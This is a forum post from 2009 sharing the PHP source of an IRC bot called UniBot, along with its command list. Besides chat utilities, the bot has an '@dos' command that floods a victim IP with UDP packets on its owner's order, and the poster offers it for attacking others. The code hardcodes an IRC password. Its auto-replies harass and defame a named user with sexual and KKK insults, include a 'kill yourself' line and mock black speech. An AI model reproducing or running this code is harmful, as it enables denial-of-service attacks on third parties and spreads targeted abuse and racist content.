PDA

View Full Version : PHP IRC Bot - UniBot



Tonic
08-10-2009, 03:49 AM
<?
//----------------------------
//---Scripted by Tonic--------
//-----Property of UG---------
//-----You may edit-----------
//---But cannot take credit--
//----------------------------
//Stops the script from timing out after 30 seconds
set_time_limit(0);

//Connecting information
$server="72.51.223.226";

$Port="6667";

$nick="UniBot";

$Channel="#UG";
$pass = "uniwhore123%123";

$Channelpass="";


//Loop booleans

$loop = 0; $verbonden = 0;
//Connecting to socket variable

$verbinden = fsockopen($server, $Port);

//Start connection and loop

while(1) {

while ($read = fgets($verbinden)) {


//Detects strings and converts read variable into an array

$read = str_replace("\n","",$read); $read = str_replace("\r","",$read);

$read2 = explode(" ",$read);



//Starts loop back of login and logs the bot in as UniBot

if ($loop == 0) {

fputs($verbinden,"nick $nick\n\n");

fputs($verbinden,"USER UniBot 0 * :woopie\n\n");
fputs($verbinden,"PASS uniwhore123%123\n\n");

}

//Converts read2 variable into string
$args = NULL; for ($i = 4; $i < count($read2); $i++) { $args .= $read2[$i] . ' '; }


if ($read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }


//Joins channel

if ($read2[1] == 251) {

fputs($verbinden,"join $Channel $Channelpass\n");

$verbonden++;

}

//Gets user's NICK
preg_match("/:(.*?)!/i", $read2[0], $matches);

//Stores user search result into nnick
$nnick = $matches['1'];

//Starts random number for shredurface command block
$id = mt_rand(0, 4);

//Kick Command, plain kick no reason
if ((eregi("@kick", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {

fputs($verbinden,"KICK $Channel $read2[4] \n");

}

//Kick command, kicks the user from the channel and puts old school socom error 30 for lagout ;)
if ((eregi("@boot", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {

if (eregi("UniBot", $read2[4])) {
fputs($verbinden, "PRIVMSG $Channel :Uhh yes, hi.. um.... $nnick do you think i'm that stupid enough too boot myself? You failed, please.. Just kill yourself $nnick because that was a failed attempt and god should smight you for that epic fail.\n");
}
else {

fputs($verbinden, "KICK $Channel $read2[4] Network error(30)\n");
}

}


//Ban command, bans the username from the channel
if ((eregi("@ban", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
fputs ($verbinden, "MODE $Channel +b $read2[4] Network Error(35)\n");
}

//Say command, make the bot say something
if ((eregi("@say", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
fputs ($verbinden, "PRIVMSG $Channel :$args\n");
}

//Detects a person saying hello or hi and replies back
$hi = '/\bhi\b/i'; // Searches for hi as a single word
$hello = '/\bhello\b/i'; // Searches for hello as a single word
if((preg_match($hi, $read)!==0) or preg_match($hello, $read)!==0) {
fputs ($verbinden, "PRIVMSG $Channel :Well hello there $nnick! Glad you joined the IRC! How are you doing?\n");
}

//Slap command, slap a user!
if (eregi("@slap", $read)) {
fputs ($verbinden, "PRIVMSG $Channel :Slaps $read2[4] a bit with a large trout\n");
}

//Shredurface Command
if (eregi("shredurface", $read)) {

if ($id == 0) {
fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is probably one of the biggest incorrect douchebags we have known besides Chuck Norris and .IV.Shooter..\n");
}
elseif ($id == 1) {
fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is always insecure because he is scared of people surpassing him and has to swing his giant ePenis around like the man he is.\n");
}
elseif ($id == 2) {
fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is so pathetic that he needs to rely on fake pussy from Sammy or should we say Samuel?\n");
}
elseif ($id == 3) {
fputs($verbinden, "PRIVMSG $Channel :If you're smarter than Shredurface, you are dumb.\n");
}
elseif ($id == 4) {
fputs($verbinden, "PRIVMSG $Channel :Shredurface is a biggot from georgia and is probably a part of the kkk.\n");
}
}

if (eregi("@hostname", $read)) {
fputs($verbinden, "PRIVMSG $Channel :$read2[0]\n");
}

//Reconnect command, stops script and refreshes page.. Half-Ass version
if ((eregi("@reconnect", $read2[3]))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
fputs ($verbinden, "QUIT :Reconnecting..\n");
Header("Location: newbot.php");
}

//Detects the word sup and replies like a black man
$sup = '/\bsup\b/i'; // Searches for sup as a single word
if(preg_match($sup, $read)!==0)
{
fputs ($verbinden, "PRIVMSG $Channel :Yo WuD uP dAwG!1!1! I'm UnIbOt\n");
}

$bye = '/\bbye\b/i';
if(preg_match($bye, $read)!==0) {
fputs($verbinden, "PRIVMSG $Channel :Good bye $nnick\n");
}

//Converts ASCII to md5 HASH
if (eregi("@md5", $read)) {
fputs ($verbinden, "PRIVMSG $Channel :".md5($args). "\n");
}

//Detects word sex and blurs out dumb shit
$botSearch = '/\bsex\b/i'; // Searches for sex as a single word
if(preg_match($botSearch, $read)!==0)
{
fputs ($verbinden, "PRIVMSG $Channel :You know I love sex $nnick, Maybe we should hookup later ;)\n");
}

//OP Command, will op the user you put if user is detected
//Format @op #Channel mode user
if ((eregi("@op", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
fputs ($verbinden, "mode $read2[4] $read2[5] $read2[6]\n");
}

//ASCII To Hex Conversion function, prints out in HEX
if (eregi("@hex", $read)) {

$hex = '';
for ($i=0; $i < strlen($args); $i++)
{
$hex .= dechex(ord($args[$i]));
}
$string = $hex;

fputs ($verbinden, "PRIVMSG $Channel :$string\n");
}

//ASCII To Binary Conversion Function, prints out in BINARY
if (eregi("@bin", $read)) {
$hex = '';
for ($i=0; $i < strlen($args); $i++)
{
$hex .= decbin(ord($args[$i]));
}
$string = $hex;
fputs ($verbinden, "PRIVMSG $Channel :$string\n");
}

//Date Command, prints current date and military time
if (eregi("@date", $read)) {
$date = date("l jS \of F Y h:i:s T");
fputs ($verbinden, "PRIVMSG $Channel :$date\n");
}
//Type backwards!
if (eregi("@rev", $read)) {
fputs ($verbinden, "PRIVMSG $Channel :".strrev($args)."\n");
}

//Join Command, Joins a channel
if (eregi("@join", $read)) {
fputs($verbinden, "JOIN $read2[4]\n");
}

//Quit command, kills the script
if ((eregi("@quit", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
fputs ($verbinden, "QUIT :Master is shutting me down..\n");
die();
}

//DoS command, responds only to your hostname set by IRC
if ((eregi("@dos",$read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {

fputs($verbinden,"privmsg $Channel :dos-udp - started udp flood - $read2[4]\n\n");

$fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30); // Stores udp connection into fp

if (!$fp)

{

//Kills command if errors detected

exit;

}

else // continues function if no errors detected

{

$char = "%"; // Data to send

for($a = 0; $a < 9999999999999; $a++) // sets flood amount

$data = $data.$char; // Multiples data



if(fputs ($fp, $data) ) // If completed

fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n"); // Tell channel its finished

else

fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n"); // Tell channel if error occured

}

}
$loop++; // Loops the script to keep running
}
}
?>


You will have to change the &&("!Tonic") crap to your hostname, connect the bot to a IRC and type @hostname and he will state your hostname then paste it over mine and use the fun commands..

Current commands:
@hex message (Type in hexadecimal)
@bin message (Type in binary)
@md5 message (encrypts with md5)
@rev message (types backwards)
@date (Displays date & time *Military time*)
@hostname (tells you your IRC set hostname, needed for major commands)
@say message (make the bot say whatever)
@slap Username (Slap a user with some trout!)
@join #Channel
@boot Username
@kick Username (No reason)
@ban username/whatever
@op #Channel +o Username
@quit (kills the script)
@reconnect (supposed to refresh script if loading it but its half ass will fix later
@dos IP (if hosting off yourself you dos the victim with your own net, if with a host that allows irc bots you will use that server to dos)

Auto-Detection (detect keywords)
sex (Types back some dumb shit)
hi or hello (says hello back)
sup (talks like a OG gangster)
shredurface (Puts random quotes about shredurface)
bye (says goodbye too you)

Enjoy my bot. Worked hard on it :D